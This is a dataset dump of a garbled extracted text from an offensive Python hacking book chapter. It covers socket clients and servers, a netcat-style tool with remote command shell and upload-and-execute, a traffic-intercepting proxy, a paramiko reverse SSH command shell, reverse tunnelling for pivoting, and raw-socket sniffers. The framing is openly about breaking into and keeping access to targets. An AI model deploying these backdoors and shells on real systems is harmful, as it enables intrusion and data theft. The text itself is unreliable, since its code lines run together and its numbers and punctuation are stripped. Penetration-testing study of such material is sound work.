id
int64
0
25.6k
text
stringlengths
0
4.59k
7,100
the network is and always will be the sexiest arena for hacker an attacker can do almost anything with simple network accesssuch as scan for hostsinject packetssniff dataremotely exploit hostsand much more but if you are an attacker who has worked your way into the deepest depths of an enterprise targetyou may find yourself in bit of conundrumyou have no tools to execute network attacks no netcat no wireshark no compiler and no means to install one howeveryou might be surprised to find that in many casesyou'll find python installand so that is where we will begin this will give you some basics on python networking using the socket[ module along the waywe'll build clientsserversand tcp proxyand then turn them into our very own netcatcomplete with command shell this is the foundation for subsequent in which we will build host discovery toolimplement cross-platform sniffersand create remote trojan framework let' get started
7,101
programmers have number of third-party tools to create networked servers and clients in pythonbut the core module for all of those tools is socket this module exposes all of the necessary pieces to quickly write tcp and udp clients and serversuse raw socketsand so forth for the purposes of breaking in or maintaining access to target machinesthis module is all you really need let' start by creating some simple clients and serversthe two most common quick network scripts you'll write
7,102
there have been countless times during penetration tests that 've needed to whip up tcp client to test for servicessend garbage datafuzzor any number of other tasks if you are working within the confines of large enterprise environmentsyou won' have the luxury of networking tools or compilersand sometimes you'll even be missing the absolute basics like the ability to copy/paste or an internet connection this is where being able to quickly create tcp client comes in extremely handy but enough jabbering -let' get coding here is simple tcp client import socket target_host "www google comtarget_port create socket object client socket socket(socket af_inetsocket sock_streamconnect the client client connect((target_host,target_port)send some data client send("get http/ \ \nhostgoogle com\ \ \ \ "receive some data response client recv( print response we first create socket object with the af_inet and sock_stream parameters the af_inet parameter is saying we are going to use standard ipv address or hostnameand sock_stream indicates that this will be tcp client we then connect the client to the server and send it some data the last step is to receive some data back and print out the response this is the simplest form of tcp clientbut the one you will write most often in the above code snippetwe are making some serious assumptions about sockets that you definitely want to be aware of the first assumption is that our connection will always succeedand the second is that the server is always expecting us to send data first (as opposed to servers that expect to send data to you first and await your responseour third assumption is that the server will always send us data back in timely fashion we make these assumptions largely for simplicity' sake while programmers have varied opinions about how to deal with blocking socketsexception-handling in socketsand the likeit' quite rare for pentesters to build these niceties into the quick-and-dirty tools for recon or exploitation workso we'll omit them in this
7,103
python udp client is not much different than tcp clientwe need to make only two small changes to get it to send packets in udp form import socket target_host target_port create socket object client socket socket(socket af_inetsocket sock_dgramsend some data client sendto("aaabbbccc",(target_host,target_port)receive some data dataaddr client recvfrom( print data as you can seewe change the socket type to sock_dgram when creating the socket object the next step is to simply call sendto(passing in the data and the server you want to send the data to because udp is connectionless protocolthere is no call to connect(beforehand the last step is to call recvfrom(to receive udp data back you will also notice that it returns both the data and the details of the remote host and port againwe're not looking to be superior network programmerswe want to be quickeasyand reliable enough to handle our day-to-day hacking tasks let' move on to creating some simple servers
7,104
creating tcp servers in python is just as easy as creating client you might want to use your own tcp server when writing command shells or crafting proxy (both of which we'll do laterlet' start by creating standard multi-threaded tcp server crank out the code belowimport socket import threading bind_ip bind_port server socket socket(socket af_inetsocket sock_streamserver bind((bind_ip,bind_port)server listen( print "[*listening on % :% (bind_ip,bind_portthis is our client-handling thread def handle_client(client_socket)print out what the client sends request client_socket recv( print "[*received%srequest send back packet client_socket send("ack!"client_socket close(while trueclient,addr server accept(print "[*accepted connection from% :% (addr[ ],addr[ ]spin up our client thread to handle incoming data client_handler threading thread(target=handle_client,args=(client,)client_handler start(to start offwe pass in the ip address and port we want the server to listen on next we tell the server to start listening with maximum backlog of connections set to we then put the server into its main loopwhere it is waiting for an incoming connection when client connects we receive the client socket into the client variableand the remote connection details into the addr variable we then create new thread object that points to our handle_client functionand we pass it the client socket object as an argument we then start the thread to handle the client connection and our main server loop is ready to handle another incoming connection the handle_client function performs the recv(and then sends simple message back to the client if you use the tcp client that we built earlieryou can send some test packets to the server and you should see output like the following[*listening on : [*accepted connection from : [*receivedabcdef that' itpretty simplebut this is very useful piece of code which we will extend in the next couple of sections when we build netcat replacement and tcp proxy
7,105
netcat is the utility knife of networkingso it' no surprise that shrewd systems administrators remove it from their systems on more than one occasioni've run into servers that do not have netcat installed but do have python in these casesit' useful to create simple network client and server that you can use to push filesor to have listener that gives you command-line access if you've broken in through web applicationit is definitely worth dropping python callback to give you secondary access without having to first burn one of your trojans or backdoors creating tool like this is also great python exerciseso let' get started import sys import socket import getopt import threading import subprocess define some global variables listen false command false upload false execute "target "upload_destination "port herewe are just importing all of our necessary libraries and setting some global variables no heavy lifting quite yet now let' create our main function responsible for handling command-line arguments and calling the rest of our functions def usage()print "bhp net toolprint print "usagebhpnet py - target_host - portprint "- --listen listen on [host]:[portfor incoming connectionsprint "- --execute=file_to_run execute the given file upon receiving connectionprint "- --command initialize command shellprint "- --upload=destination upon receiving connection upload file and write to [destination]print print print "examplesprint "bhpnet py - - - -cprint "bhpnet py - - - - = :\\target exeprint "bhpnet py - - - - =\"cat /etc/passwd\"print "echo 'abcdefghi/bhpnet py - - sys exit( def main()global listen global port global execute global command global upload_destination global target if not len(sys argv[ :])usage(read the commandline options
7,106
tryoptsargs getopt getopt(sys argv[ :],"hle: : :cu:"["help","listen","execute","target","port","command","upload"]except getopt getopterror as errprint str(errusage(for , in optsif in ("- ","--help")usage(elif in ("- ","--listen")listen true elif in ("- ""--execute")execute elif in ("- ""--commandshell")command true elif in ("- ""--upload")upload_destination elif in ("- ""--target")target elif in ("- ""--port")port int(aelseassert false,"unhandled optionare we going to listen or just send data from stdinif not listen and len(targetand port read in the buffer from the commandline this will blockso send ctrl- if not sending input to stdin buffer sys stdin read(send data off client_sender(bufferwe are going to listen and potentially upload thingsexecute commandsand drop shell back depending on our command line options above if listenserver_loop(main(we begin by reading in all of the command-line options and setting the necessary variables depending on the options we detect if any of the command-line parameters don' match our criteriawe print out useful usage information in the next block of code we are trying to mimic netcat to read data from stdin and send it across the network as notedif you plan on sending data interactivelyyou need to send ctrl- to bypass the stdin read the final piece is where we detect that we are to set up listening socket and process further commands (upload fileexecute commandstart command shellnow let' start putting in the plumbing for some of these featuresstarting with our client code add the following code above our main function def client_sender(buffer)client socket socket(socket af_inetsocket sock_streamtryconnect to our target host client connect((target,port)
7,107
if len(buffer)client send(bufferwhile truenow wait for data back recv_len response "while recv_lendata client recv( recv_len len(dataresponse+data if recv_len break print responsewait for more input buffer raw_input(""buffer +"\nsend it off client send(bufferexceptprint "[*exceptionexiting tear down the connection client close(most of this code should look familiar to you by now we start by setting up our tcp socket object and then test to see if we have received any input from stdin if all is wellwe ship the data off to the remote target and receive back data until there is no more data to receive we then wait for further input from the user and continue sending and receiving data until the user kills the script the extra line break is attached specifically to our user input so that our client will be compatible with our command shell now we'll move on and create our primary server loop and stub function that will handle both our command execution and our full command shell def server_loop()global target if no target is definedwe listen on all interfaces if not len(target)target server socket socket(socket af_inetsocket sock_streamserver bind((target,port)server listen( while trueclient_socketaddr server accept(spin off thread to handle our new client client_thread threading thread(target=client_handlerargs=(client_socket,)client_thread start(def run_command(command)trim the newline command command rstrip(
7,108
run the command and get the output back tryoutput subprocess check_output(command,stderr=subprocess stdoutshell=trueexceptoutput "failed to execute command \ \nsend the output back to the client return output by nowyou're an old hand at creating tcp servers complete with threadingso won' dive in to the server_loop function the run_command functionhowevercontains new library we haven' covered yetthe subprocess library subprocess provides powerful process-creation interface that gives you number of ways to start and interact with client programs in this case we're simply running whatever command we pass inrunning it on the local operating systemand returning the output from the command back to the client that is connected to us the exception-handling code will catch generic errors and return back message letting you know that the command failed now let' implement the logic to do file uploadscommand executionand our shell def client_handler(client_socket)global upload global execute global command check for upload if len(upload_destination)read in all of the bytes and write to our destination file_buffer "keep reading data until none is available while truedata client_socket recv( if not databreak elsefile_buffer +data now we take these bytes and try to write them out tryfile_descriptor open(upload_destination,"wb"file_descriptor write(file_bufferfile_descriptor close(acknowledge that we wrote the file out client_socket send("successfully saved file to % \ \nupload_destinationexceptclient_socket send("failed to save file to % \ \nupload_destinationcheck for command execution if len(execute)run the command output run_command(executeclient_socket send(outputnow we go into another loop if command shell was requested
7,109
if commandwhile trueshow simple prompt client_socket send("now we receive until we see linefeed (enter keycmd_buffer "while "\nnot in cmd_buffercmd_buffer +client_socket recv( send back the command output response run_command(cmd_buffersend back the response client_socket send(responseour first chunk of code is responsible for determining whether our network tool is set to receive file when it receives connection this can be useful for upload-and-execute exercises or for installing malware and having the malware remove our python callback first we receive the file data in loop to make sure we receive it alland then we simply open file handle and write out the contents of the file the wb flag ensures that we are writing the file with binary mode enabledwhich ensures that uploading and writing binary executable will be successful next we process our execute functionality which calls our previously written run_command function and simply sends the result back across the network our last bit of code handles our command shell it continues to execute commands as we send them in and sends back the output you'll notice that it is scanning for newline character to determine when to process commandwhich makes it netcat-friendly howeverif you are conjuring up python client to speak to itremember to add the newline character
7,110
now let' play around with it bit to see some output in one terminal or cmd exe shellrun our script like sojustin/bhnet py - - - now you can fire up another terminal or cmd exeand run our script in client mode remember that our script is reading from stdin and will do so until the eof (end-of-filemarker is received to send eofhit ctrl- on your keyboardjustin/bhnet py - localhost - ls -la total drwxr-xr- justin staff dec : drwxr-xr- justin staff dec : -rwxrwxrwt justin staff dec : bhnet py -rw- -- - justin staff dec : listing- - py pwd /users/justin/svn/bhp/codeyou can see that we receive back our custom command shelland because we're on unix hostwe can run some local commands and receive back some output as if we had logged in via ssh or were on the box locally we can also use our client to send out requests the goodold-fashioned wayjustinecho -ne "get http/ \ \nhostwww google com\ \ \ \ /bhnet py - www google com - http/ found locationcache-controlprivate content-typetext/htmlcharset=utf- pcp="this is not policysee accounts/bin/answer py?hl=en&answer= for more info datewed dec : : gmt servergws content-length -xss-protection mode=block -frame-optionssameorigin moved moved the document has moved [*exceptionexiting justinthere you goit' not super technical techniquebut it' good foundation on how to hack together some client and server sockets in python and use them for evil of courseit' the fundamentals that you need mostuse your imagination to expand or improve it nextlet' build tcp proxywhich is useful in any number of offensive scenarios
7,111
there are number of reasons to have tcp proxy in your tool beltboth for forwarding traffic to bounce from host to hostbut also when assessing network-based software when performing penetration tests in enterprise environmentsyou'll commonly be faced with the fact that you can' run wiresharkthat you can' load drivers to sniff the loopback on windowsor that network segmentation prevents you from running your tools directly against your target host have employed simple python proxy in number of cases to help understand unknown protocolsmodify traffic being sent to an applicationand create test cases for fuzzers let' get to it import sys import socket import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first)server socket socket(socket af_inetsocket sock_streamtryserver bind((local_host,local_port)exceptprint "[!!failed to listen on % :% (local_host,local_ portprint "[!!check for other listening sockets or correct permissions sys exit( print "[*listening on % :% (local_host,local_portserver listen( while trueclient_socketaddr server accept(print out the local connection information print "[==>received incoming connection from % :% (addr[ ],addr[ ]start thread to talk to the remote host proxy_thread threading thread(target=proxy_handlerargs=(client_socket,remote_host,remote_port,receive_first)proxy_thread start(def main()no fancy command-line parsing here if len(sys argv[ :]! print "usage/proxy py [localhost[localport[remotehost[remoteport[receive_first]print "example/proxy py truesys exit( setup local listening parameters local_host sys argv[ local_port int(sys argv[ ]setup remote target remote_host sys argv[ remote_port int(sys argv[ ]this tells our proxy to connect and receive data before sending to the remote host receive_first sys argv[
7,112
receive_first true elsereceive_first false now spin up our listening socket server_loop(local_host,local_port,remote_host,remote_port,receive_firstmain(most of this should look familiarwe take in some command-line arguments and then fire up server loop that listens for connections when fresh connection request comes inwe hand it off to our proxy_handlerwhich does all of the sending and receiving of juicy bits to either side of the data stream let' dive into the proxy_handler function now by adding the following code above our main function def proxy_handler(client_socketremote_hostremote_portreceive_first)connect to the remote host remote_socket socket socket(socket af_inetsocket sock_streamremote_socket connect((remote_host,remote_port)receive data from the remote end if necessary if receive_firstremote_buffer receive_from(remote_sockethexdump(remote_buffersend it to our response handler remote_buffer response_handler(remote_bufferif we have data to send to our local clientsend it if len(remote_buffer)print "[<==sending % bytes to localhost len(remote_bufferclient_socket send(remote_buffernow lets loop and read from localsend to remotesend to local rinsewashrepeat while trueread from local host local_buffer receive_from(client_socketif len(local_buffer)print "[==>received % bytes from localhost len(local_ bufferhexdump(local_buffersend it to our request handler local_buffer request_handler(local_buffersend off the data to the remote host remote_socket send(local_bufferprint "[==>sent to remote receive back the response remote_buffer receive_from(remote_socketif len(remote_buffer)
7,113
hexdump(remote_buffersend to our response handler remote_buffer response_handler(remote_buffersend the response to the local socket client_socket send(remote_bufferprint "[<==sent to localhost if no more data on either sideclose the connections if not len(local_bufferor not len(remote_buffer)client_socket close(remote_socket close(print "[*no more data closing connections break this function contains the bulk of the logic for our proxy to start offwe check to make sure we don' need to first initiate connection to the remote side and request data before going into our main loop some server daemons will expect you to do this first (ftp servers typically send banner firstfor examplewe then use our receive_from function which we reuse for both sides of the communicationit simply takes in connected socket object and performs receive we then dump the contents of the packet so that we can inspect it for anything interesting next we hand the output to our response_handler function inside this functionyou can modify the packet contentsperform fuzzing taskstest for authentication issuesor whatever else your heart desires there is complimentary request_handler function that does the same for modifying outbound traffic as well the final step is to send the received buffer to our local client the rest of the proxy code is straightforwardwe continually read from localprocesssend to remoteread from remoteprocessand send to local until there is no more data detected let' put together the rest of our functions to complete our proxy this is pretty hex dumping function directly taken from the comments heredef hexdump(srclength= )result [digits if isinstance(srcunicodeelse for in xrange( len(src)length) src[ : +lengthhexa bjoin(["% * (digitsord( )for in ]text 'join([ if <ord( else bfor in ]result appendb"% %-* % (ilength*(digits )hexatextprint '\njoin(resultdef receive_from(connection)buffer "we set second timeoutdepending on your targetthis may need to be adjusted connection settimeout( trykeep reading into the buffer until there' no more data or we time out while true
7,114
if not databreak buffer +data exceptpass return buffer modify any requests destined for the remote host def request_handler(buffer)perform packet modifications return buffer modify any responses destined for the local host def response_handler(buffer)perform packet modifications return buffer this is the final chunk of code to complete our proxy first we create our hex dumping function that will simply output the packet details with both their hexadecimal values and ascii-printable characters this is useful for understanding unknown protocolsfinding user credentials in plaintext protocolsand much more the receive_from function is used both for receiving local and remote dataand we simply pass in the socket object to be used by defaultthere is two-second timeout setwhich might be aggressive if you are proxying traffic to other countries or over lossy networks (increase the timeout as necessarythe rest of the function simply handles receiving data until more data is detected on the other end of the connection our last two functions enable you to modify any traffic that is destined for either end of the proxy this can be usefulfor exampleif plaintext user credentials are being sent and you want to try to elevate privileges on an application by passing in admin instead of justin now that we have our proxy set uplet' take it for spin
7,115
now that we have our core proxy loop and the supporting functions in placelet' test this out against an ftp server fire up the proxy with the following optionsjustinsudo /proxy py ftp target ca true we used sudo here because port is privileged port and requires administrative or root privileges in order to listen on it now take your favorite ftp client and set it to use localhost and port as its remote host and port of courseyou'll want to point your proxy to an ftp server that will actually respond to you when ran this against test ftp serveri got the following result[*listening on : [==>received incoming connection from : [<==sending bytes to localhost [==>received bytes from localhost [==>sent to remote [<==received bytes from remote [<==sent to localhost [==>received bytes from localhost [==>sent to remote [*no more data closing connections proftpd server (debia [::ffff: user testy password req uired for testy pass tester you can clearly see that we are able to successfully receive the ftp banner and send in username and passwordand that it cleanly exits when the server punts us because of incorrect credentials
7,116
pivoting with bhnet is pretty handybut sometimes it' wise to encrypt your traffic to avoid detection common means of doing so is to tunnel the traffic using secure shell (sshbut what if your target doesn' have an ssh client (like percent of windows systems)while there are great ssh clients available for windowslike puttythis is book about python in pythonyou could use raw sockets and some crypto magic to create your own ssh client or server -but why create when you can reuseparamiko using pycrypto gives you simple access to the ssh protocol to learn about how this library workswe'll use paramiko to make connection and run command on an ssh systemconfigure an ssh server and ssh client to run remote commands on windows machineand finally puzzle out the reverse tunnel demo file included with paramiko to duplicate the proxy option of bhnet let' begin firstgrab paramiko using pip installer (or download it from pip install paramiko we'll use some of the demo files laterso make sure you download them from the paramiko website as well create new file called bh_sshcmd py and enter the followingimport threading import paramiko import subprocess def ssh_command(ipuserpasswdcommand)client paramiko sshclient(#client load_host_keys('/home/justinssh/known_hosts'client set_missing_host_key_policy(paramiko autoaddpolicy()client connect(ipusername=userpassword=passwdssh_session client get_transport(open_session(if ssh_session activessh_session exec_command(commandprint ssh_session recv( return ssh_command( ''justin''lovesthepython','id'this is fairly straightforward program we create function called ssh_command which makes connection to an ssh server and runs single command notice that paramiko supports authentication with keys instead of (or in addition topassword authentication using ssh key authentication is strongly recommended on real engagementbut for ease of use in this examplewe'll stick with the traditional username and password authentication because we're controlling both ends of this connectionwe set the policy to accept the ssh key for the ssh server we're connecting to and make the connection finallyassuming the connection is madewe run the command that we passed along in the call to the ssh_command function in our example the command id let' run quick test by connecting to our linux serverc:\tmppython bh_sshcmd py uid= (justingid= (justingroups= (justinyou'll see that it connects and then runs the command you can easily modify this script to run
7,117
so with the basics donelet' modify our script to support running commands on our windows client over ssh of coursenormally when using sshyou use an ssh client to connect to an ssh serverbut because windows doesn' include an ssh server out-of-the-boxwe need to reverse this and send commands from our ssh server to the ssh client create new file called bh_sshrcmd py and enter the following:[ import threading import paramiko import subprocess def ssh_command(ipuserpasswdcommand)client paramiko sshclient(#client load_host_keys('/home/justinssh/known_hosts'client set_missing_host_key_policy(paramiko autoaddpolicy()client connect(ipusername=userpassword=passwdssh_session client get_transport(open_session(if ssh_session activessh_session send(commandprint ssh_session recv( )#read banner while truecommand ssh_session recv( #get the command from the ssh server trycmd_output subprocess check_output(commandshell=truessh_session send(cmd_outputexcept exception,essh_session send(str( )client close(return ssh_command( ''justin''lovesthepython','clientconnected'the first few lines are like our last program and the new stuff starts in the while trueloop also notice that the first command we send is clientconnected you'll see why when we create the other end of the ssh connection now create new file called bh_sshserver py and enter the followingimport socket import paramiko import threading import sys using the key from the paramiko demo files host_key paramiko rsakey(filename='test_rsa key'class server (paramiko serverinterface)def _init_(self)self event threading event(def check_channel_request(selfkindchanid)if kind ='session'return paramiko open_succeeded return paramiko open_failed_administratively_prohibited def check_auth_password(selfusernamepassword)if (username ='justin'and (password ='lovesthepython')return paramiko auth_successful return paramiko auth_failed server sys argv[ ssh_port int(sys argv[ ]trysock socket socket(socket af_inetsocket sock_streamsock setsockopt(socket sol_socketsocket so_reuseaddr sock bind((serverssh_port)sock listen( print '[+listening for connection
7,118
except exceptioneprint '[-listen failedstr(esys exit( print '[+got connection!trybhsession paramiko transport(clientbhsession add_server_key(host_keyserver server(trybhsession start_server(server=serverexcept paramiko sshexceptionxprint '[-ssh negotiation failed chan bhsession accept( print '[+authenticated!print chan recv( chan send('welcome to bh_ssh'while truetrycommandraw_input("enter command"strip('\ 'if command !'exit'chan send(commandprint chan recv( '\nelsechan send('exit'print 'exitingbhsession close(raise exception ('exit'except keyboardinterruptbhsession close(except exceptioneprint '[-caught exceptionstr(etrybhsession close(exceptpass sys exit( this program creates an ssh server that our ssh client (where we want to run commandsconnects to this could be linuxwindowsor even os system that has python and paramiko installed for this examplewe're using the ssh key included in the paramiko demo files we start socket listener just like we did earlier in the and then sshinize it and configure the authentication methods when client has authenticated and sent us the clientconnected message any command we type into the bh_sshserver is sent to the bh_sshclient and executed on the bh_sshclientand the output is returned to bh_sshserver let' give it go
7,119
for the demoi'll run both the server and the client on my windows machine (see figure - figure - using ssh to run commands you can see that the process starts by setting up our ssh server and then connecting from our client the client is successfully connected and we run command we don' see anything in the ssh clientbut the command we sent is executed on the client and the output is sent to our ssh server
7,120
ssh tunneling is amazing but can be confusing to understand and configureespecially when dealing with reverse ssh tunnel recall that our goal in all of this is to run commands that we type in an ssh client on remote ssh server when using an ssh tunnelinstead of typed commands being sent to the servernetwork traffic is sent packaged inside of ssh and then unpackaged and delivered by the ssh server imagine that you're in the following situationyou have remote access to an ssh server on an internal networkbut you want access to the web server on the same network you can' access the web server directlybut the server with ssh installed does have access and the ssh server doesn' have the tools you want to use installed on it one way to overcome this problem is to set up forward ssh tunnel without getting into too much detailrunning the command ssh - :web: justin@sshserver will connect to the ssh server as the user justin and set up port on your local system anything sent to port will be sent down the existing ssh tunnel to the ssh server and delivered to the web server figure - shows this in action figure - ssh forward tunneling that' pretty coolbut recall that not many windows systems are running an ssh server service not all is lostthough we can configure reverse ssh tunnelling connection in this casewe connect to our own ssh server from the windows client in the usual fashion through that ssh connectionwe also specify remote port on the ssh server that will be tunnelled to the local host and port (as shown in figure - this local host and port can be usedfor exampleto expose port to access an internal system using remote desktopor to another system that the windows client can access (like the web server in our example
7,121
the paramiko demo files include file called rforward py that does exactly this it works perfectly as is so won' just reprint that filebut will point out couple of important points and run through an example of how to use it open rforward pyskip down to main()and follow along def main()optionsserverremote parse_options(password none if options readpasspassword getpass getpass('enter ssh password'client paramiko sshclient(client load_system_host_keys(client set_missing_host_key_policy(paramiko warningpolicy()verbose('connecting to ssh host % :% (server[ ]server[ ])tryclient connect(server[ ]server[ ]username=options userkey_filename=options keyfilelook_for_keys=options look_for_keyspassword=passwordexcept exception as eprint('**failed to connect to % :% % (server[ ]server[ ] )sys exit( verbose('now forwarding remote port % to % :% (options portremote[ ]remote[ ])tryreverse_forward_tunnel(options portremote[ ]remote[ ]client get_transport()except keyboardinterruptprint(' -cport forwarding stopped 'sys exit( the few lines at the top double-check to make sure all the necessary arguments are passed to the script before setting up the parmakio ssh client connection (which should look very familiarthe final section in main(calls the reverse_forward_tunnel function let' have look at that function def reverse_forward_tunnel(server_portremote_hostremote_porttransport)transport request_port_forward(''server_portwhile truechan transport accept( if chan is nonecontinue
7,122
thr threading thread(target=handlerargs=(chanremote_hostremote_port)thr setdaemon(truethr start(in paramikothere are two main communication methodstransportwhich is responsible for making and maintaining the encrypted connectionand channelwhich acts like sock for sending and receiving data over the encrypted transport session here we start to use paramiko' request_port_forward to forward tcp connections from port on the ssh server and start up new transport channel thenover the channelwe call the function handler but we're not done yet def handler(chanhostport)sock socket socket(trysock connect((hostport)except exception as everbose('forwarding request to % :% failed% (hostporte)return verbose('connectedtunnel open % -% -% (chan origin_addrchan getpeername()(hostport))while truerwx select select([sockchan][][]if sock in rdata sock recv( if len(data= break chan send(dataif chan in rdata chan recv( if len(data= break sock send(datachan close(sock close(verbose('tunnel closed from % (chan origin_addr,)and finallythe data is sent and received let' give it try
7,123
we will run rforward py from our windows system and configure it to be the middle man as we tunnel traffic from web server to our kali ssh server :\tmp\demos>rforward py - - : --user justin --password enter ssh passwordconnecting to ssh host : :\python \lib\site-packages\paramiko\client py: userwarningunknown ssh- sa host key for cb bb ec af aa (key get_name()hostnamehexlify(key get_fingerprint()))now forwarding remote port to : you can see that on the windows machinei made connection to the ssh server at and opened port on that serverwhich will forward traffic to port so now if browse to through the ssh tunnelas shown in figure - figure - reverse ssh tunnel example if you flip back to the windows machineyou can also see the connection being made in paramikoconnectedtunnel open ( ' -( ' -( ' ssh and ssh tunnelling are important to understand and use knowing when and how to ssh and ssh tunnel is an important skill for black hatsand paramiko makes it possible to add ssh capabilities to your existing python tools we've created some very simple yet very useful tools in this encourage you to expand and modify as necessary the main goal is to develop firm grasp of using python networking to create tools that you can use during penetration testspost-exploitationor while bug-hunting let' move on to using raw sockets and performing network sniffingand then we'll combine the two to create pure python host discovery scanner [ the full socket documentation can be found here[ this discussion expands on the work by hussam khraiswhich can be found on
7,124
sniffing network sniffers allow you to see packets entering and exiting target machine as resultthey have many practical uses before and after exploitation in some casesyou'll be able to use wireshark (in the next neverthelessthere' an advantage to knowing how to throw together quick sniffer to view and decode network traffic writing tool like this will also give you deep appreciation for the mature tools that can painlessly take care of the finer points with little effort on your part you will also likely pick up some new python techniques and perhaps better understanding of how the low-level networking bits work in the previous we covered how to send and receive data using tcp and udpand arguably this is how you will interact with most network services but underneath these higher-level protocols are the fundamental building blocks of how network packets are sent and received you will use raw sockets to access lower-level networking information such as the raw ip and icmp headers in our casewe are only interested in the ip layer and higherso we won' decode any ethernet information of courseif you intend to perform any low-level attacks such as arp poisoning or you are developing wireless assessment toolsyou need to become intimately familiar with ethernet frames and their use let' begin with brief walkthrough of how to discover active hosts on network segment
7,125
the main goal of our sniffer is to perform udp-based host discovery on target network attackers want to be able to see all of the potential targets on network so that they can focus their reconnaissance and exploitation attempts we'll use known behavior of most operating systems when handling closed udp ports to determine if there is an active host at particular ip address when you send udp datagram to closed port on hostthat host typically sends back an icmp message indicating that the port is unreachable this icmp message indicates that there is host alive because we' assume that there was no host if we didn' receive response to the udp datagram it is essential that we pick udp port that will not likely be usedand for maximum coverage we can probe several ports to ensure we aren' hitting an active udp service why udpthere' no overhead in spraying the message across an entire subnet and waiting for the icmp responses to arrive accordingly this is quite simple scanner to build with most of the work going into decoding and analyzing the various network protocol headers we will implement this host scanner for both windows and linux to maximize the likelihood of being able to use it inside an enterprise environment we could also build additional logic into our scanner to kick off full nmap port scans on any hosts we discover to determine if they have viable network attack surface these are exercises left for the readerand look forward to hearing some of the creative ways you can expand this core concept let' get started
7,126
accessing raw sockets in windows is slightly different than on its linux brethrenbut we want to have the flexibility to deploy the same sniffer to multiple platforms we will create our socket object and then determine which platform we are running on windows requires us to set some additional flags through socket input/output control (ioctl),[ which enables promiscuous mode on the network interface in our first examplewe simply set up our raw socket snifferread in single packetand then quit import socket import os host to listen on host create raw socket and bind it to the public interface if os name ="nt"socket_protocol socket ipproto_ip elsesocket_protocol socket ipproto_icmp sniffer socket socket(socket af_inetsocket sock_rawsocket_protocolsniffer bind((host )we want the ip headers included in the capture sniffer setsockopt(socket ipproto_ipsocket ip_hdrincl if we're using windowswe need to send an ioctl to set up promiscuous mode if os name ="nt"sniffer ioctl(socket sio_rcvallsocket rcvall_onread in single packet print sniffer recvfrom( if we're using windowsturn off promiscuous mode if os name ="nt"sniffer ioctl(socket sio_rcvallsocket rcvall_offwe start by constructing our socket object with the parameters necessary for sniffing packets on our network interface the difference between windows and linux is that windows will allow us to sniff all incoming packets regardless of protocolwhereas linux forces us to specify that we are sniffing icmp note that we are using promiscuous modewhich requires administrative privileges on windows or root on linux promiscuous mode allows us to sniff all packets that the network card seeseven those not destined for your specific host next we set socket option that includes the ip headers in our captured packets the next step is to determine if we are using windowsand if sowe perform the additional step of sending an ioctl to the network card driver to enable promiscuous mode if you're running windows in virtual machineyou will likely get notification that the guest operating system is enabling promiscuous modeyouof coursewill allow it now we are ready to actually perform some sniffingand in this case we are simply printing out the entire raw packet with no packet decoding this is just to test to make sure we have the core of our sniffing code working after single packet is sniffedwe again test for windowsand disable promiscuous mode before exiting the script
7,127
open up fresh terminal or cmd exe shell under windows and run the followingpython sniffer py in another terminal or shell windowyou can simply pick host to ping herewe'll ping nostarch comping nostarch com in your first window where you executed your snifferyou should see some garbled output that closely resembles the following(' \ \ :\ \ \ \ \ \ \xa \ \xc \xa \ \xbb\xc \xa \ \ \ \ \ \ &\xd \ \xde\ \ \ \ \ \ \ \ \ \ nostarch\ com\ \ \ \ \ '( ' )you can see that we have captured the initial icmp ping request destined for nostarch com (based on the appearance of the string nostarch comif you are running this example on linuxthen you would receive the response from nostarch com sniffing one packet is not overly usefulso let' add some functionality to process more packets and decode their contents
7,128
in its current formour sniffer receives all of the ip headers along with any higher protocols such as tcpudpor icmp the information is packed into binary formand as shown aboveis quite difficult to understand we are now going to work on decoding the ip portion of packet so that we can pull useful information out such as the protocol type (tcpudpicmp)and the source and destination ip addresses this will be the foundation for you to start creating further protocol parsing later on if we examine what an actual packet looks like on the networkyou will have an understanding of how we need to decode the incoming packets refer to figure - for the makeup of an ip header figure - typical ipv header structure we will decode the entire ip header (except the options fieldand extract the protocol typesourceand destination ip address using the python ctypes module to create -like structure will allow us to have friendly format for handling the ip header and its member fields firstlet' take look at the definition of what an ip header looks like struct ip u_char ip_hl: u_char ip_v: u_char ip_tosu_short ip_lenu_short ip_idu_short ip_offu_char ip_ttlu_char ip_pu_short ip_sumu_long ip_srcu_long ip_dstyou now have an idea of how to map the data types to the ip header values using code as reference when translating to python objects can be useful because it makes it seamless to convert them to pure python of notethe ip_hl and ip_v fields have bit notation added to them (the : partthis indicates that these are bit fieldsand they are bits wide we will use pure python solution to make sure these fields map correctly so we can avoid having to do any bit manipulation let' implement our ip decoding routine into sniffer_ip_header_decode py as shown below import socket
7,129
import struct from ctypes import host to listen on host our ip header class ip(structure)_fields_ ("ihl"("version"("tos"("len"("id"("offset"("ttl"("protocol_num"("sum"("src"("dst"c_ubyte )c_ubyte )c_ubyte)c_ushort)c_ushort)c_ushort)c_ubyte)c_ubyte)c_ushort)c_ulong)c_ulongdef __new__(selfsocket_buffer=none)return self from_buffer_copy(socket_bufferdef __init__(selfsocket_buffer=none)map protocol constants to their names self protocol_map { :"icmp" :"tcp" :"udp"human readable ip addresses self src_address socket inet_ntoa(struct pack("< ",self src)self dst_address socket inet_ntoa(struct pack("< ",self dst)human readable protocol tryself protocol self protocol_map[self protocol_numexceptself protocol str(self protocol_numthis should look familiar from the previous example if os name ="nt"socket_protocol socket ipproto_ip elsesocket_protocol socket ipproto_icmp sniffer socket socket(socket af_inetsocket sock_rawsocket_protocolsniffer bind((host )sniffer setsockopt(socket ipproto_ipsocket ip_hdrincl if os name ="nt"sniffer ioctl(socket sio_rcvallsocket rcvall_ontrywhile trueread in packet raw_buffer sniffer recvfrom( )[ create an ip header from the first bytes of the buffer ip_header ip(raw_buffer[ : ]print out the protocol that was detected and the hosts print "protocol% % -% (ip_header protocolip_header src_ addressip_header dst_addresshandle ctrl- except keyboardinterrupt
7,130
if os name ="nt"sniffer ioctl(socket sio_rcvallsocket rcvall_offthe first step is defining python ctypes structure that will map the first bytes of the received buffer into friendly ip header as you can seeall of the fields that we identified and the preceding structure match up nicely the __new__ method of the ip class simply takes in raw buffer (in this casewhat we receive on the networkand forms the structure from it when the __init__ method is called__new__ is already finished processing the buffer inside __init__we are simply doing some housekeeping to give some human readable output for the protocol in use and the ip addresses with our freshly minted ip structurewe now put in the logic to continually read in packets and parse their information the first step is to read in the packet and then pass the first bytes to initialize our ip structure nextwe simply print out the information that we have captured let' try it out
7,131
